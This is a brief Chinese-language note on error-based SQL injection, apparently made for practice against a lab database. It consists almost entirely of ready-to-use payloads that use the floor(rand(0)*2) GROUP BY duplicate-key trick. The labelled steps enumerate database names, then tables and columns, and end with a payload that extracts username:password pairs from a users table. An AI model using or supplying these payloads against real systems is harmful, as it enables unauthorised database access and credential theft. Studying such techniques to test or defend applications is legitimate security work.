MariaDB [test]> select name n,score s from ScoreTable group by s; +----------+-----+ | n | s | +----------+-----+ | wangwu | 85 | | zhangsan | 90 | | dingliu | 100 | +----------+-----+
id='1' union select 1,count(*),concat(database(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x #' #测试是否能用
爆库:
1
-1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+
或者:
1
?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"~",floor(rand(0)*2)) as x group by x;
反正没有group_concat就用limit
爆表:
1
-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+
爆列,只需将上面的table_name改为column_name
information_schema.tables改为columns
爆内容:
1
1' union select 1,count(*),concat((select concat_ws(':',username,password) from security.users limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+